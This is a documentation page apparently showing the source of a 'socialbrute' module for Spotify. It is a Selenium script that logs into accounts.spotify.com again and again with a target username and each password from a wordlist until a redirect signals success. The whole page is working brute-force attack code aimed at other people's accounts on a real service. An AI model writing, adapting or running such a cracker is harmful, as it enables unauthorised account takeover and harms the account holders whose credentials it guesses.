Source code for socialbrute.modules.spotify

import time


[docs]class Spotify: def __init__(self, browser): self.browser = browser
[docs] def set_config(self, username, wordlist, delay): self.username = username self.name = '' self.wordlist = wordlist self.delay = delay self.url = 'https://accounts.spotify.com/en/login'
[docs] def check_user(self): return False
[docs] def crack(self): passwords = [] found = '' with open(self.wordlist, 'r') as f: for line in f: passwords.append(line.strip('\n')) for password in passwords: self.browser.driver.get(self.url) email = self.browser.wait_until_element_exists('id', 'login-username') email.clear() email.send_keys(self.username) pwd = self.browser.driver.find_element_by_id('login-password') pwd.clear() pwd.send_keys(password) time.sleep(1) btn = self.browser.driver.find_element_by_id('login-button') btn.click() self.browser.wait_page_loaded() time.sleep(1) url = self.browser.driver.current_url if (url != self.url) and ('status' in url): found = password break time.sleep(self.delay) return found